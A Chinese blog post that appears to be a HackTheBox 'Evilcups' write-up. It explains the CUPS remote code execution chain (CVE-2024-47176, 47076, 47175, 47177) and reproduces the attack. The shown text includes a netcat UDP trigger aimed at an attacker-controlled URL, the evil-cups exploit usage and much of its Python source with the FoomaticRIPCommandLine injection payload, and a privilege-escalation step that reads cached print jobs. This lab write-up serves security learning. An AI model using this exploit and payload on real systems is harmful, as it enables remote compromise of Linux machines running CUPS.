首页 > 系统相关 >Linux 打印服务RCE漏洞:HackTheBox 【Evilcups】 复现

Linux 打印服务RCE漏洞:HackTheBox 【Evilcups】 复现

时间:2025-01-18 23:56:43浏览次数:3  
标签:__ 打印机 printer 打印服务 self server 2024 HackTheBox Linux

靶场概述:

2024 年 9 月 26 日,一位名为 Simone Margaritelli 的研究人员发布了有关 CUPS 漏洞的研究。其中包括四个 CVE:

  • CVE-2024-47176 - 通常侦听所有 UDP 631 接口的服务,允许远程将打印机添加到机器。此漏洞允许任何能够访问此机器的攻击者触发“获取打印机属性”互联网打印协议 (IPP) 请求【Get-Printer-Attributes】,该请求将发送到攻击者控制的 URL。
  • CVE-2024-47076 - libcupsfilters负责处理从请求返回的 IPP 属性。这些属性未经清理就被写入临时的 Postscript 打印机描述 (PPD) 文件,从而允许写入恶意属性。
  • CVE-2024-47175 -libppd负责读取临时 PPD 文件并将其转换为系统上的打印机对象。它在读取时也不会进行清理,从而允许注入攻击者控制的数据。
  • CVE-2024-47177 - 此漏洞cups-filters允许使用打印过滤器加载打印机foomatic-rip,该过滤器是一种通用转换器,用于将 PostScript 或 PDF 数据转换为打印机可以理解的格式。它长期以来一直存在命令注入问题,并且仅限于手动安装/配置。

整个漏洞的利用中攻击者可以通过模拟IPP协议伪装成虚假的打印机,并在其附上恶意的打印机属性,通过构造特殊请求(CVE-2024-47176)触发客户端获取打印机属性,由于关键位置没有被过滤(CVE-2024-47076,CVE-2024-47175)从而导致在获取时被植入恶意指令,最后通过打印请求触发恶意指令(CVE-2024-47177)回弹shell可获取打印机的用户权限执行任意指令,从而完成了整个攻击链路。因为CUPS集成在了很多Linux 发行版中,因此漏洞的影响很大。

靶场复现

端口扫描

nmap -p- <ip> -sS -sV -sC --stats-every 1s -T4

漏洞利用

git clone https://github.com/IppSec/evil-cups.git
cd ./evil-cups
python./evil-cups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>

运行后在web页面执行打印测试页操作触发命令执行

提权

cat /var/spool/cups/d00001-001

或者下载下来使用pdf工具查看这个文件,登录root账户

漏洞分析

首先是 CVE-2024-47176 这是整个漏洞链的首要条件,通过阅读原文我们可以了解到 通过构造格式为:0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever 的udp请求 发送到631端口触发。这里我首先使用 netcat 模拟。

echo -n "0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever" | nc -u <ATTACKER-IP> 631

根据回显的效果我们可以看出来,我们成功触发了打印机服务并让他主动扫描我们的机器,而接下来我们需要模拟打印机,返回一个含有恶意指令的打印机属性,这里我们可以使用靶机作者提供的poc: https://github.com/IppSec/evil-cups.git ,我们来认真分析这个poc。

主函数

查看这个脚本的main函数处,我们可以很清晰的看出来这个程序执行的逻辑:

  • 初始化参数:本地IP,目标IP,命令,端口
  • 以多线程的方式运行打印服务
  • 向对方631端口发送UDP数据包,让目标主动扫描本机的打印服务
  • 计数器每隔1s打印一次运行时间,一方面明确等待时间,一方面阻塞程序防止关闭
if __name__ == "__main__":
	#初始化参数
    if len(sys.argv) != 4:
        print("%s <LOCAL_HOST> <TARGET_HOST> <COMMAND>" % sys.argv[0])
        quit()
    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345
    command = sys.argv[3]
    #以多线程的方式运行打印服务
    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))
    threading.Thread(target=run_server,args=(server, )).start()
    #发送udp数据包
    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)
    #计数器每隔1s打印一次运行时间
    print("Please wait this normally takes 30 seconds...")
    seconds = 0
    while True:
        print(f"\r{seconds} elapsed", end="", flush=True)
        time.sleep(1)
        seconds += 1

IPP打印服务实现

  • 脚本引用了第三方库 ippserver
  • 查看第三方库源码可以发现IPPServer需要3个参数:服务器信息、请求处理器、服务器行为
    • 通过MaliciousPrinter(command)复写服务器响应的行为来伪造打印机
      • operation_printer_list_response 响应请求
      • printer_list_attributes 伪造的打印机属性
      • 打印机的属性定义是基于rfc2911
  • 运行run_server函数
    • 初始化示例化ServerContext,定义服务器的启动和关闭 -
    • 每0.5秒监听键盘退出,关闭打印服务

主函数

server = IPPServer(
				   (SERVER_HOST, SERVER_PORT),
				   IPPRequestHandler, 
				   MaliciousPrinter(command)
				)
threading.Thread(target=run_server,args=(server, )).start()

启动服务器函数

def run_server(server):
    with ServerContext(server):
        try:
            while True:
                time.sleep(.5)
        except KeyboardInterrupt:
            pass
    server.shutdown()

服务器类

from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest

class ServerContext:
    def __init__(self, server):
        self.server = server
        self.server_thread = None

    def __enter__(self):
        print(f'IPP Server Listening on {server.server_address}')
        self.server_thread = threading.Thread(target=self.server.serve_forever)
        self.server_thread.daemon = True
        self.server_thread.start()
  
    def __exit__(self, exc_type, exc_value, traceback):
        print('Shutting down the server...')
        self.server.shutdown()
        self.server_thread.join()

其他类

class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()
    def printer_list_attributes(self):
		   attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-more-info',
                TagEnum.uri
            ): [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],
        }

        attr.update(super().minimal_attributes())

        return attr
         
    def operation_printer_list_response(self, req, _psfile):
        print("\ntarget connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(self.version,StatusCodeEnum.ok,req.request_id,attributes)

这个脚本开发主要有以下几个技术点:

  • python开发基础
  • 阅读第三方库源码,代码的阅读能力
  • rfc协议文档的阅读与理解
  • socket协议 发送udp请求

提权

此机器提权需要知道的几个前提信息点:

CUPS 的配置文件(通常位于 /etc/cups/cupsd.conf 中)可能被设置为保留已完成的作业。CUPS 通过 PreserveJobFilesPresveerJobHistory 选项来决定是否保留作业及其历史记录。

  • PreserveJobFiles 控制已完成的打印作业文件是否被保留。
  • PreserveJobHistory 控制已完成作业的历史记录是否被保留。

缓存作业的默认位置是在 /var/spool/cups/ 目录中,然而,lp 用户对该目录仅有执行权限,这意味着他们无法列出目录的内容。不过,如果文件名已知且文件可读,他们可以读取该目录中的文件。

已完成作业的默认格式为 d<打印作业>-<页码>,其中打印作业需要是 5 位数字,页码是 3 位数字。对于作业 1,第 1 页,文件名会是 d00001-001

标签:__,打印机,printer,打印服务,self,server,2024,HackTheBox,Linux
From: https://blog.csdn.net/HackYourself/article/details/145207571

相关文章

  • Linux的几个基本指令
    文章目录一、几个基本指令1、ls指令注意!2、pwd命令3、touch指令4、mkdir指令注意!注意!5、cd指令注意!6、cp指令今天我们学习Linux下的几个基本指令,本篇是在Xshell环境下执行的。一、几个基本指令1、ls指令功能:对于目录,该命令目的是列出该目录下的所有子......
  • Linux中常用命令详解
        在Linux中,有很多常用命令可以帮助你完成日常操作。以下是一些常用Linux命令的详细介绍:1.ls-列出目录内容语法:ls[选项][目录]常用选项:-l:显示详细信息(权限、文件大小、修改时间等)-a:显示所有文件,包括隐藏文件(以.开头)-h:以可读的方式显示文件......
  • 嵌入式Linux驱动开发学习--韦东山老师嵌入式Linux学习
    最无益,只怕一日曝十日寒,贵在有恒。目录2025-01-181、基础内容2、通用GPIO操作3、硬件操作4、驱动涉及的思想_面向对象_分层_分离1)面向对象2)分层3)分离5、驱动进化之路_总线设备驱动模型6、驱动进化之路_设备树的语法7、驱动进化之路_内核对设备树的处理与使用2025-01-181、基......
  • Linux基础-指令篇02【入门级】
    内容提要本章对文件系统以及目录操作进行了讲解,主要包括利用指令对文件/目录进行增删改查的操作。文件系统Linux本质上就是一个文件系统,Linux文件系统是操作系统组织存取、保存数据的一种手段。整体采用层级式的倒状树倒状树结构中的目录/:根目录,Linux中的绝对路径由此......
  • RK3588+linux系统下交叉编译开发记录
    基础开发路线先用树莓派验证交叉编译可行性,或者直接利用树莓派开发项目树莓派运算速度不足时考虑一下方案采用windows环境下vscode加cmake实现交叉编译,将可执行文件直接考入RK3588自带的debian系统运行采用套接字通信,可直接用linux下的网络库开发记录24/12/27T......
  • Linux搭建Slurm和pbs单机版
    SlurmSlurm是高性能计算集群的出色工作调度工具。此外,当你需要同时运行多个程序并将它们排成队列,同时确保计算机或服务器不超载时,它也是本地台式机或单台服务器上的重要工具。此外,在与其他用户共享服务器或需要通宵或连续数周运行多个工作时,它也非常有用!在这里,我将向你展示如何......
  • 【Linux探索学习】第二十六弹——进程通信:深入理解Linux中的进程通信
    Linux探索学习:https://blog.csdn.net/2301_80220607/category_12805278.html?spm=1001.2014.3001.5482前言:在Linux操作系统中,进程通信(IPC)是操作系统的一项核心功能,用于在不同进程之间交换数据或信号。这种能力在多任务操作系统中尤为重要,因为进程之间通常需要协作完成复杂......
  • 快速部署WSL(Windows Subsystem for Linux)
    概述WindowsSubsystemforLinux(WSL)是微软为Windows10及更高版本推出的一项功能,允许用户在Windows上运行Linux二进制可执行文件。WSL提供了一个完全兼容的Linux内核接口,使用户能够在不使用虚拟机或双启动的情况下运行Linux环境。本文将详细介绍如何快速部署WSL,包括安装、配置和......
  • Linux常用命令总结
    Linux常用命令指南文章目录Linux常用命令指南1.文件与目录操作命令(1)ls-列出目录内容(2)cd-改变当前工作目录(3)pwd-显示当前目录(4)mkdir-创建新目录(5)rmdir-删除空目录(6)rm-删除文件或目录(7)mv-移动或重命名文件(8)cp-复制文件或目录2......
  • linux实现macos的timeMachine系统备份
    在上一篇文章中,我们详细介绍了Btrfs文件系统的基本使用方法和核心原理。本文将重点讲解如何利用Btrfs的特性来实现系统备份功能。实现原理其实很简单:Linux内核支持直接从Btrfs的子卷(subvolume)启动系统。基于这个特性,我们可以通过计划任务定期为系统根目录创建快照,再配合btrfs-lin......